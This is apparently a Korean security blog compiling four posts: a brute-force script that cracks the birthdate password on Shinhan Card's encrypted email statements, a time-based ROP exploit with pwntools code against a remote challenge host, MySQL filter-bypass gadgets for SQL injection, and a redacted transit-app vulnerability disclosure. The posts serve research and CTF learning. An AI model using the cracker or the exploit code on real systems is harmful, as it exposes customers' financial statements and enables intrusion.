신한카드 이용대금 명세서 개인 비밀번호 분석 및 크랙

오랜만에 메일함을 들어갔더니 “[신한카드] 임준오님의 01월10일 체크카드 이용대금 명세서입니다.” 이런 제목의 메일이 와있었다. 예전에도 몇번 받아봤는데 첨부파일에 html파일이 있고 생년월일을 입력하면 명세서를 보여주는 형식이었다.

메일 화면

보안 이메일 명세서라고 나와있는데 얼마나 안전한가 한번 시험해보고 싶은 욕구가 발생했다.

생년월일을 받는다.
내 생년월일을 입력하면 정상적으로 열리게 된다.

이제 소스를 열어보자.

뭔가 난독화가 많이 되어 있다. 일단 beautify 를 해보자.

이제 좀 보인다. 분석을 시작하자!

1. 생년월일을 비교하는 부분을 찾는다.

2. 연산하는 곳을 찾는다.

3. 복호화 코드를 짠다.

이 순으로 분석을 하면 될것 같다.

1. 생년월일을 비교하는 부분을 찾는다.

어떻게 찾을까 생각해봤는데 생년월일이 일치하지 않으면 아래와 같은 alert 창을 띄운다.

저 문자열을 찾아가면 될것 같다.

근데 난독화가 되어있어 alert 함수나 띄우는 문자열을 찾을 수 없었다.

약간의 감을 통해 최상단에 있는 문자열 배열이 함수명이나 메시지들을 담고 있을것 같았다.

엇.. alert가 있다…?

기억을 더듬어 보니 alert가 무려 17개나 있어 문자열로 찾았던 기억이 난다.

그럼 이제 저 지점에 브레이크포인트를 걸고 동적 디버깅을 해보자!

1234를 넣고 상황을 지켜보았다.

1345번째 줄을 보면 _0x9319xd9(함수의 인자) 변수에 내 비밀번호가 들어왔고 1348번째 줄에서 _0x9319xdf함수의 인자로 넘어갔다. 그럼 _0x9319xdf 함수가 복호화하는 함수다 !

2. 연산하는 곳을 찾는다.

1354번째 줄에서 _0x9319xde에 복호화한 값이 들어갔다.

복호화하는 로직을 보니 고정된 키를 사용하는것이 아닌 인풋을 키로 하여 복호화를 진행한다. 복호화 하는 함수를 조금더 분석해보자.

flow: _0x9319xdf -> _0x9319xe2 -> _0x9319xe2

불러오는 함수를 계속 따라가 보면 _0x9319xe4에 “SEED-CBC”란 값을 넣는걸 볼 수 있다.

SEED-CBC를 사용한다고 알려준다. SEED-CBC의 상세한 로직은 이미 쓰고 있는 곳들이 많아 안전할거라 생각하고 따로 분석하지 않았다.

3. 복호화 코드를 짠다.

내가 준 인풋(사용자의 생년월일)을 키로 사용하고 SEED-CBC 블록암호를 사용하기 때문에 복호화 코드를 짜도 의미가 없다. 아니 이미 복호화 해주는 코드는 내장되어 있다. 단지 키를 정의할 수 없을 뿐이다.

키를 구해야 되기 때문에 브루트포싱밖에 답이 없다. 하지만 복호화 하려는 데이터가 너무 크기때문에 1초정도 걸린다.

대충 계산 해보면..

1년을 365로 가정하고 카드 사용자층을 10대 ~ 60대로 선정하면 총 60년을 상대로 브루트포싱해야됨.

그러면 최종적으로 1s * 365 * 60 = 21900s = ~6시간

한개를 복호화 하는데 6시간이나 필요하다. 물론 쓰레딩으로 처리하면 줄일 수 있겠지만 현저히 많은 시간이다.

그러면 과연 더 나은 방법이 없을까?

생각 하던중 정상적으로 복호화 되었는지의 여부를 판별하는 곳을 보았다.

xxx(0, 10) == aaaaa

어.. 복호화된 앞 부분에서 비교를 한다라 .. ?

수 많은 블록을 한 블록으로 줄일 수 있게 되었다.

UNISAFESMAIL_DATA = btoa(atob(UNISAFESMAIL_DATA).substr(0, 16));

한 블록으로 줄인 후 브루트포스 코드를 구현했다.

완성된 브루트포스 코드는 아래와 같다.

function brutePassword() {
    for (var year=50; year<100; year++) {
        for (var month=1; month<=12; month++) {
            var tmp = month+"";
            if (tmp.length == 1)
                tmp = "0"+tmp;
            month = tmp;
            for (var day=1; day<=31; day++) {
                var tmp = day+"";
                if (tmp.length == 1)
                    tmp = "0"+tmp;
                day = tmp;
                isSuccess = new UniSafeMail().unisafe_smail_process(year+month+day);
                if (isSuccess) {
                    console.log(year+month+day);
                    return year+month+day;
                }
            }
        }
    }
}

Time Based ROP

pwnable.tw에 kidding이라는 문제가 있다. stdin, stdout, stderror fd를 닫아버리기 때문에 리버스 쉘을 통하여 연결하면된다.
하지만 서버측에 있는 바이너리 데몬이 외부 네트워크에 접근할 수 없는 상황이면 어떻게 할것인가?
위와 같은 상황은 CTF보다 리얼월드에서 많이 발생한다. (클라우드 인스턴스 여러개 만들어가지고 내부적으로 물리고 ..)
까먹고 있다가 목욕을 하다가 문득 생각이 났다.
ROP를 통해 파일의 내용을 읽을때 SQLI 기술중 하나인 time based sql injection을 적용시켜보았다.

글쓰는것을 미루고 미루다 Exploiting Timed Based RCE – Security Café 를 읽고 쓰게되었다.

ROP 테크닉은 무척 간단하다.

  1. pop rdi, pop rsi, pop idx, retn 으로 레지스터를 초기화 시킨다.
  2. strncmp를 호출한다.
  3. rax를 rdi로 복사한다.
  4. sleep을 호출한다.

위 로직을 증명하기 위해 다음 코드가 사용되었다.

PoC 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    char dest[] = "MyNameIsJunoIm";
    char oneByteChar = 'L';
    int result;
    int t1, t2;

    printf("dest string -> %s\n", dest);
    printf("give me one byte: ");
    scanf("%c", &oneByteChar);

    result = strncmp(dest, &oneByteChar, 1);

    printf("result - > %d\n", result);

    t1 = time(0);
    sleep(result);
    t2 = time(0);

    printf("running time - > %d\n", t2-t1);

    return 0;
}

정상적으로 작동하나 싶었는데.. 문제로 만들었더니 몇가지 오류가 생겼다..

우선 fd를 닫고 sleep하는것은 로컬에서만 되었다. 이럴꺼면 system("ls -al > /tmp/ls_result.txt")하고말지..

바이너리 데몬으로 실행하면,,

EOF 에러남 …

이렇기에 sleep여부를 판별하기 위한 race condition을 추가할 수 밖에 없었다. 그래서 문제에 의도적인 부분을 추가하기로 했다.

Full SourceCode, Binary 는 example, example.c 를 보시면 됩니다.

PoC 2

from pwn import *
import string
import random
import time

my_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
my_id += 'f'

print my_id
a1 = time.time()

r = remote("junan.io", 6974)
r2 = remote("junan.io", 6974)
r3 = remote("junan.io", 6974)

r.recvuntil('Input ID: ')
r.sendline(my_id)
r.recvuntil('Input key: ')
r.sendline("65b42f7d71f9fb31d824c28b8943ad94")
r.recvuntil("Welcome: ")

strncmp = 0x00000000004008C8
p_rdi = 0x0000000000400AAE
sleep = 0x0000000000400958
flag = 0x00000000006020A0

go_sleep = 0x0000000000400E00

payload = "A"*272
payload += p64(0x000000000060229D) # rbp

payload += p64(p_rdi) # for sleep
payload += p64(0x1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

payload += p64(sleep)

payload += p64(p_rdi)
payload += p64(flag)
payload += p64(0x0000000000602060+15) # time based rop
# 0x0000000000602060+15
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)

payload += p64(strncmp)

payload += p64(go_sleep)

print len(payload)

r.sendline(payload)
time.sleep(0.1)

r2.sendline(my_id)

r3.recvuntil('Input ID: ')
time.sleep(1)
r3.sendline(my_id)
try:
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
r3.sendline("AAAA")
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
print ("Found !")
except:
print ("No")

r.recv()

print time.time() - a1

첫글자인 f 를 찾은 모습이다.

Example Challenge

nc junan.io 6974

성공적으로 flag를 얻어내셨다면 junorouse@gmail.com 으로 exploit 코드를 보내주세요.


업데이트

2018-06-03 글을 옮기다 time based side channel attack rop 문제가 여럿 보였던 기억이 었어서 기분이 좋네요 ㅎㅅㅎ

Advanced String Functions Filter Bypass With Gadgets Sql Injection

$filter = ['conv', 'code', 'hex', 'ha', 'b', 'x', '_', '`', '\'', '"', '@','into','outfile','load','file', 'date', 'co','ca', 'b', 'g', 'h', 'j', 'k', 'q', 'v', 'x', 'z', 'date', 'make'];

If filters are like that, how can I inject successfully? I will show you some gadgets can bypass the hard filter.

string function filter bypass with gadgets

such as

ascii, bin, char, concat, hex, oct, ord, conv, etc…

you can easily make the string with the following crypto functions.

aes_encrypt, …

[link]mysql crypt functions

But usually most of detectors also filtered underbar since prevent to access *_schema. There are two ways to generate arbitrary characters.

  1. Use dayname function.
  2. Use encrypt function with salt.

The first one is well-known bypass technic. Bypass with date and time functions. The result of now() (timestamp) is integer, so we can subtract and add other integer to make everyday name.

select DAYNAME(now());
-> Thursday

But this way only can make “a, e, d, f, i, h, m, o, n, s, r, u, t, w, y” 15 alphabets. Let’s check out the solution 2.

Or hash functions like md5, sha1, … are only contains hexadecimal characters.. We need more alphabets !!!!

There aren’t any references or cheat sheets of encrypt function.
When you run encrypt function the output is different each time. Since Mysql’s encrypt function is based system’s crypt function. So encrypt auto generates salt. This is why you saw the different output each time.

If you pass the salt parameter, you will get a fixed output result.

ENCRYPT(str[,salt])

Encrypts str using the Unix crypt() system call and returns a binary string. The salt argument must be a string with at least two characters or the result will be NULL. If no salt argument is given, a random value is used.

Note: The ENCRYPT() function is deprecated as of MySQL 5.7.6, will be removed in a future MySQL release, and should no longer be used. Consider using AES_ENCRYPT() instead.

# with no salt
select encrypt(12);
-> 10CkN4GiVzSd2
select encrypt(12);
-> F0HgfxV9ENjfY
select encrypt(12);
-> J0mzyT/ZwRHlc

# with salt
select encrypt(12, 99); # (any types, twocharacter or 2 digit number
-> 99LNryKuWYuKc

Here is very good wargame challenge. Pwn it !!!

Link CodeShellWEB

Here are some interesting bypass cheat sheets.

Link SQLI Cheat Sheets 1(English)

Link SQLI Cheat Sheets 2(Korean)

If u have any questions please contact email or reply the comments.

티머니 Third-Party 어플리케이션 취약점

2016-12-04 13:39에 쓰기 시작했는데 이제서야 완성한다.

Intro

작년 겨울에 학교에서 K-sheild 멘토링을 했었다. 처음 받아보는 멘토링이라 설렜다. 같은 학년에서 보안 공부를 하는 친구들이 딱히 많지 않아, 맘 맞는 친구들과 신청하였다. 신청했던 주제는 IOT 사물인터넷 보안이었는데 타겟을 찾다찾다 한 친구놈이 교통카드 해킹하자 한게 실제로 하게 되었다. 우리가 생각했던것은 offensive-security에 대한 멘토링이었는데 멘토분들은 방화벽 만들고 유지보수 하는 기업다니시는 분들이라 조금 아쉽기도 했다. 보안의 다른면에 대한 이야기도 들을 수 있어서 좋았던것 같다.

어떻게 해킹을 할까 생각하다, 검색엔진에 검색해보니 뉴스 링크가 나왔다. 우리도 똑같이 어플리케이션을 타겟으로 잡았다. 분명 다른 로직버그들이 존재할게 분명했기 떄문이다. 그렇게 티머니앱을 분석하려하는데 난독화가 심하게 걸려있었다. 결국 찾은게 티머니 API를 사용한 Third-Party 어플리케이션이었다.

kisa 제보 취약점은 4개월 지나면 공개해도 되길래 다른 누군가가 새로운 취약점을 찾길 바라면서 공개해본다.

Target

특정앱을 거론할 수 는 없지만 캐시비, 티머니등 교통카드를 충전해주는 어플리케이션이었다. 지금은 라이브러리파일들이 seworks의 앱솔리드로 난독화 되어있다. 아마 패치하면서 같이 적용한것 같았다. 예전에 썻던 보고서와 자료들이 남아있길래 그걸 토대로 작성하겠다.

뭐이렇게 생기긴 했다. logo

Summary

한장으로 요약하면 다음과 같다.

summary

지금 와서 생각한건데 보고서 참 못썻다.. 저땐 저게 최선이라고 생각했었는데 ㅋㅋ 앞으론 잘써야겠다는 생각이 들었다.

Vuln

취약점은 되게 간단한데, 그걸 찾고 실제로 exploit하는것 까지 좀 힘들었다. 그걸 이야기기해보고자 한다.

예전에는 교통카드 충전을 특정한 기기에서밖에 할 수 없었다. 하지만 기기의 역활을 하던것이 스마트폰으로 넘어오게 된것이다. 이로써 이것을 리버스 엔지니어링 하게될경우 성공적으로 해킹할 수 있다는 생각이 들었다.

– deleted –

로직이 저기 위에 사진과 같았는데 validation을 클라이언트쪽에서 진행했기때문에 발생하는 취약점이었다.

응답을 보내는것 자체가 너무 한정적이기 때문에 스마트폰을 에뮬레이션할 수 있게 될경우 다른 취약점이 발생할 수 있을거 같다.

그때 스크린샷은 다 사라졌지만 보고서만이 남아있기에 보고서를 첨부한다.

 


 


업데이트

2018-06-03 보안상의 이유로 보고서는 삭제되었습니다.